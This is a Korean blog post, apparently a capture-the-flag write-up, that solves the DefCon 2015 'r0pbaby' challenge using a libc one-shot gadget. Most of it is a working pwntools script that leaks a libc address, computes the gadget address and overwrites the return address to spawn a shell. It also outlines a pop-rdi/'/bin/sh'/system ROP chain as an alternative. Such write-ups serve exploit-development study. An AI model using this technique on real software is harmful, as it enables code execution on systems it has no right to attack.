[DefCon 2015] r0pbaby 를 magic gadget으로 풀어보기
2018. 5. 28. 21:44
제목 그대로다.
magic gadget( 원샷가젯이라고도 한다.)이란 굉장히 편리한 가젯을 알게되어서 한번 r0pbaby에서 써보았다.
아래가 익스 코드... 사실 좀 필요없는 코드가 많긴한데, 그냥 가독성 좋으라고 함수로 추가해서 짜보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | #!/usr/bin/env python from pwn import * import string libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./r0pbaby") conn = process("./r0pbaby") def get_func(func_name): conn.sendlineafter(":","2") conn.sendlineafter(":", func_name) conn.recvuntil(":") func_addr = conn.recvline().strip() func_addr = int(func_addr, 16) return func_addr def oneshot_ret(addr, size): conn.sendlineafter(":","3") conn.sendlineafter(":",size) conn.sendline("A"*8+p64(addr)) print("") oneshot_offset = 0x46428 conn.recvuntil("4) Exit") system_addr = get_func("system") offset = libc.symbols['system'] libc_base = system_addr-offset oneshot_addr = libc_base + oneshot_offset log.info("libc_base : 0x%x " % libc_base) log.info("system_addr : 0x%x " % system_addr) log.info("oneshot_addr : 0x%x " % oneshot_addr) oneshot_ret(oneshot_addr ,"16") conn.interactive() | cs |
물론 평범하게 pop rdi 가젯 구하고 /bin/sh 문자열 위치도 구해서
"A"*8 | pop rdi | &"/bin/sh" | system
익스할 수도 있다. 뭐... 뭐가 편한지는 사람마다 다르니까 ㅇㅇ; 근데 원샷가젯이 한방에 풀려서 익스가 빨라서 좋긴하다... 굿굿
'Write-up > Pwnable' 카테고리의 다른 글
[34C3 CTF 2017] readme_revenge (0) | 2018.07.02 |
---|---|
[Byte Bandits CTF] Tale of a Twisted Mind (0) | 2018.06.02 |
[Plaid CTF 2018] shop python solve code 2 (0) | 2018.05.22 |
[Plaid CTF 2018] shop python solve code 1 (0) | 2018.05.22 |
[CSAW '17 CTF] pilot (0) | 2018.04.30 |